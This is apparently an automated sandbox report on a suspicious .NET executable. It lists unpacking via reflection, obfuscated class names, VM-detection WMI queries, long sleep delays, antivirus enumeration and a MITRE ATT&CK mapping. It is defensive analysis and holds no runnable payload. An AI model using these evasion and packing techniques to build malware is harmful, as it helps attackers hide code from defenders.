Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\fIPSLgT0lO.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: fIPSLgT0lO.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: fIPSLgT0lO.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: fIPSLgT0lO.exe, 00000000.00000002.2928319421.0000000003474000.00000004.00000800.00020000.00000000.sdmp, fIPSLgT0lO.exe, 00000000.00000002.2931835613.0000000006460000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: fIPSLgT0lO.exe, 00000000.00000002.2928319421.0000000003474000.00000004.00000800.00020000.00000000.sdmp, fIPSLgT0lO.exe, 00000000.00000002.2931835613.0000000006460000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: fIPSLgT0lO.exe, 00000000.00000002.2930276212.0000000005860000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: fIPSLgT0lO.exe, 00000000.00000002.2930276212.0000000005860000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: Ygdagggmo.pdb source: fIPSLgT0lO.exe, fIPSLgT0lO.exe, 00000000.00000002.2930414690.00000000059C0000.00000004.08000000.00040000.00000000.sdmp

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: fIPSLgT0lO.exe, ContextCalculator.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 0.2.fIPSLgT0lO.exe.59c0000.3.raw.unpack, C5FiG7MxadprkYOHlIn.cs	.Net Code: Type.GetTypeFromHandle(Dtf6rkX5XJvWaqKkiKA.tSABXZnQRA(16777307)).GetMethod("GetDelegateForFunctionPointer", new Type[2]{Type.GetTypeFromHandle(Dtf6rkX5XJvWaqKkiKA.tSABXZnQRA(16777250)),Type.GetTypeFromHandle(Dtf6rkX5XJvWaqKkiKA.tSABXZnQRA(16777305))})

.NET source code contains potential unpacker

Source: fIPSLgT0lO.exe, IterableProxy.cs	.Net Code: InterceptFlexibleProxy System.Reflection.Assembly.Load(byte[])
Source: 0.2.fIPSLgT0lO.exe.6460000.5.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.fIPSLgT0lO.exe.6460000.5.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.fIPSLgT0lO.exe.6460000.5.raw.unpack, XmlSerializationHelper.cs	.Net Code: ReadObjectProperties
Source: 0.2.fIPSLgT0lO.exe.59c0000.3.raw.unpack, AssemblyLoader.cs	.Net Code: ReadFromEmbeddedResources System.Reflection.Assembly.Load(byte[])
Source: 0.2.fIPSLgT0lO.exe.59c0000.3.raw.unpack, vSfttOXonD7iVjA8Uy5.cs	.Net Code: EH0AuaZoeb
Source: 0.2.fIPSLgT0lO.exe.59c0000.3.raw.unpack, vSfttOXonD7iVjA8Uy5.cs	.Net Code: BEVFUck1YU
Source: 0.2.fIPSLgT0lO.exe.5860000.2.raw.unpack, TypeModel.cs	.Net Code: TryDeserializeList
Source: 0.2.fIPSLgT0lO.exe.5860000.2.raw.unpack, ListDecorator.cs	.Net Code: Read
Source: 0.2.fIPSLgT0lO.exe.5860000.2.raw.unpack, TypeSerializer.cs	.Net Code: CreateInstance
Source: 0.2.fIPSLgT0lO.exe.5860000.2.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateInstance
Source: 0.2.fIPSLgT0lO.exe.5860000.2.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateIfNull

Yara detected Costura Assembly Loader

Source: Yara match	File source: 0.2.fIPSLgT0lO.exe.45b7068.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.fIPSLgT0lO.exe.5b40000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2930871276.0000000005B40000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2929425687.0000000004532000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2928319421.0000000003391000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: fIPSLgT0lO.exe PID: 3020, type: MEMORYSTR

Source: fIPSLgT0lO.exe

Static PE information: 0xA90F56EF [Tue Nov 18 04:19:59 2059 UTC]

Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Code function: 0_2_059C3B61 push eax; ret		0_2_059C3B62
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Code function: 0_2_05BAE690 push esp; ret		0_2_05BAE691

Source: fIPSLgT0lO.exe

Static PE information: section name: .text entropy: 7.941976982068131

Source: 0.2.fIPSLgT0lO.exe.59c0000.3.raw.unpack, PZxUNRXtLPuRUHRXDJY.cs	High entropy of concatenated method names: 'ukOXUDX4oP', 'XHcXWHIvAi', 'gTjX62MJk9', 'G67Xqg1Khl', 'BeRXLfttGS', 'rEcXkumElZ', 'ylUXTUvh2c', 'DwXX4k0Xf2', 'AP2XwdaP6y', 'mRZXSyubOO'
Source: 0.2.fIPSLgT0lO.exe.59c0000.3.raw.unpack, C5FiG7MxadprkYOHlIn.cs	High entropy of concatenated method names: 'AAntVV5RCpbBtULe44a', 'OBogCB5fg3iZ8ln6EK9', 'BkJXgQd0lS', 'vh0ry9Sq2v', 'VS1XMWPKRH', 'gyBXeEKm3U', 'FvDXXgPJMZ', 'GTCXYOPR2D', 'KaaBMdtr83', 'Gg5MpXerBK'
Source: 0.2.fIPSLgT0lO.exe.59c0000.3.raw.unpack, vSfttOXonD7iVjA8Uy5.cs	High entropy of concatenated method names: 'poUPL27I0H', 'd7wPkBO6B2', 'I3tPT1w9Jx', 'tkhP4uC9x8', 'SuMPwFxRHu', 'LfwPSeTQ2t', 'ChVPoRS37J', 'qltYKgNmL7', 'eg9Pml20tj', 'E2ePHpJJ7T'
Source: 0.2.fIPSLgT0lO.exe.59c0000.3.raw.unpack, iEhjTYrTuTh1IJbo9XZ.cs	High entropy of concatenated method names: 'LbJrotelWK', 'sV13gbibSobTePuaBh2', 'zpsdElist5AeoENTwNQ', 'AOXr0ck9tB', 'bU3HDeihT2ZvcnNeYoI', 'aoQcjJiGFEnLyYWHXB0', 'FUCrwYGrB0', 'kX0rSkggHK', 'oJKywCim5ZXiaFCjygh', 'T22Kf0iHywxiSfQdV4L'
Source: 0.2.fIPSLgT0lO.exe.59c0000.3.raw.unpack, zfhNj9d50qVDplTlqh.cs	High entropy of concatenated method names: 'kAPDKAY6r', 'gWTcw7I2s', 'uP59FFnjK', 'ToSadhEDK', 'Oe2CnXq4a', 'LWVnGAMss', 'zeLLnVRAN', 'O5E758lTB', 'drcOTdhZS', 'g7bUqpDpE'
Source: 0.2.fIPSLgT0lO.exe.59c0000.3.raw.unpack, eHPAVTmm1DlhKiyHAi.cs	High entropy of concatenated method names: 'TI70sCkR0', 'cs2bjuHc5', 'oeQsTZcOW', 'Pa6JEjTxm', 'b1Nh30piS', 'L7LGyMLgD', 'IlqNny1cS', 'vnwZCBpLX', 'Dj7AFFv4DXmK0NJCkpJ', 'z7W5DEvw1ptQ8e45OW5'
Source: 0.2.fIPSLgT0lO.exe.59c0000.3.raw.unpack, scoH3kV7vOuUYkZCGj6.cs	High entropy of concatenated method names: 'yBxV00eWlU', 'YkydIxiyE3Ono9LRYRk', 'jFYZhoilaI4LKenLJXY', 'CJUVwMSSVQ', 'LPGVSQGhdc', 'D8vVULKvlb', 'MAbVWi6oM9', 'w2CV65mOEN', 'rc1Vqa8uK5', 'gvrVL7wUfR'

Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_DiskDrive
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_DiskDrive

Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Memory allocated: 1970000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Memory allocated: 3390000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Memory allocated: 32A0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\fIPSLgT0lO.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Window / User API: threadDelayed 8167			Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Window / User API: threadDelayed 1688			Jump to behavior

Source: C:\Users\user\Desktop\fIPSLgT0lO.exe TID: 5816	Thread sleep count: 31 > 30	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe TID: 5816	Thread sleep time: -28592453314249787s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe TID: 5816	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe TID: 5816	Thread sleep time: -59875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe TID: 4928	Thread sleep count: 8167 > 30	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe TID: 5816	Thread sleep time: -59766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe TID: 4928	Thread sleep count: 1688 > 30	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe TID: 5816	Thread sleep time: -59641s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe TID: 5816	Thread sleep time: -59531s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe TID: 5816	Thread sleep time: -59422s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe TID: 5816	Thread sleep time: -59312s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe TID: 5816	Thread sleep time: -59203s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe TID: 5816	Thread sleep time: -59094s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe TID: 5816	Thread sleep time: -58984s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe TID: 5816	Thread sleep time: -58875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe TID: 5816	Thread sleep time: -58766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe TID: 5816	Thread sleep time: -58641s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe TID: 5816	Thread sleep time: -58516s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe TID: 5816	Thread sleep time: -58406s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe TID: 5816	Thread sleep time: -58297s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe TID: 5816	Thread sleep time: -58158s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe TID: 5816	Thread sleep time: -57906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe TID: 5816	Thread sleep time: -57781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe TID: 5816	Thread sleep time: -57672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe TID: 5816	Thread sleep time: -57559s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe TID: 5816	Thread sleep time: -57453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe TID: 5816	Thread sleep time: -57344s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe TID: 5816	Thread sleep time: -57219s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe TID: 5816	Thread sleep time: -57109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe TID: 5816	Thread sleep time: -57000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe TID: 5816	Thread sleep time: -56891s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe TID: 5816	Thread sleep time: -56781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe TID: 5816	Thread sleep time: -56672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe TID: 5816	Thread sleep time: -56563s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe TID: 5816	Thread sleep time: -56438s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe TID: 5816	Thread sleep time: -56313s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe TID: 5816	Thread sleep time: -56203s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe TID: 5816	Thread sleep time: -56094s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe TID: 5816	Thread sleep time: -55969s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe TID: 5816	Thread sleep time: -55859s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe TID: 5816	Thread sleep time: -55750s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe TID: 5816	Thread sleep time: -55641s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe TID: 5816	Thread sleep time: -55447s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe TID: 5816	Thread sleep time: -55314s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe TID: 5816	Thread sleep time: -55188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe TID: 5816	Thread sleep time: -55078s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe TID: 5816	Thread sleep time: -54969s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe TID: 5816	Thread sleep time: -54859s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe TID: 5816	Thread sleep time: -54750s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe TID: 5816	Thread sleep time: -54641s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe TID: 5816	Thread sleep time: -54531s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe TID: 5816	Thread sleep time: -54422s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe TID: 5816	Thread sleep time: -54312s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe TID: 5816	Thread sleep time: -54203s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\fIPSLgT0lO.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Users\user\Desktop\fIPSLgT0lO.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Thread delayed: delay time: 59875	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Thread delayed: delay time: 59766	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Thread delayed: delay time: 59641	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Thread delayed: delay time: 59531	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Thread delayed: delay time: 59422	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Thread delayed: delay time: 59312	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Thread delayed: delay time: 59203	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Thread delayed: delay time: 59094	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Thread delayed: delay time: 58984	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Thread delayed: delay time: 58875	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Thread delayed: delay time: 58766	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Thread delayed: delay time: 58641	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Thread delayed: delay time: 58516	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Thread delayed: delay time: 58406	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Thread delayed: delay time: 58297	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Thread delayed: delay time: 58158	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Thread delayed: delay time: 57906	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Thread delayed: delay time: 57781	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Thread delayed: delay time: 57672	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Thread delayed: delay time: 57559	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Thread delayed: delay time: 57453	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Thread delayed: delay time: 57344	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Thread delayed: delay time: 57219	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Thread delayed: delay time: 57109	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Thread delayed: delay time: 57000	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Thread delayed: delay time: 56891	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Thread delayed: delay time: 56781	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Thread delayed: delay time: 56672	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Thread delayed: delay time: 56563	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Thread delayed: delay time: 56438	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Thread delayed: delay time: 56313	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Thread delayed: delay time: 56203	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Thread delayed: delay time: 56094	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Thread delayed: delay time: 55969	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Thread delayed: delay time: 55859	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Thread delayed: delay time: 55750	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Thread delayed: delay time: 55641	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Thread delayed: delay time: 55447	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Thread delayed: delay time: 55314	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Thread delayed: delay time: 55188	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Thread delayed: delay time: 55078	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Thread delayed: delay time: 54969	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Thread delayed: delay time: 54859	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Thread delayed: delay time: 54750	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Thread delayed: delay time: 54641	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Thread delayed: delay time: 54531	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Thread delayed: delay time: 54422	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Thread delayed: delay time: 54312	Jump to behavior
Source: C:\Users\user\Desktop\fIPSLgT0lO.exe	Thread delayed: delay time: 54203	Jump to behavior

Source: fIPSLgT0lO.exe, 00000000.00000002.2931318498.0000000005E40000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\fIPSLgT0lO.exe

Code function: 0_2_05BC2728 LdrInitializeThunk,

0_2_05BC2728

Source: C:\Users\user\Desktop\fIPSLgT0lO.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\fIPSLgT0lO.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\fIPSLgT0lO.exe

Queries volume information: C:\Users\user\Desktop\fIPSLgT0lO.exe VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\fIPSLgT0lO.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\fIPSLgT0lO.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	131 Windows Management Instrumentation	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Disable or Modify Tools	OS Credential Dumping	1 Query Registry	Remote Services	11 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
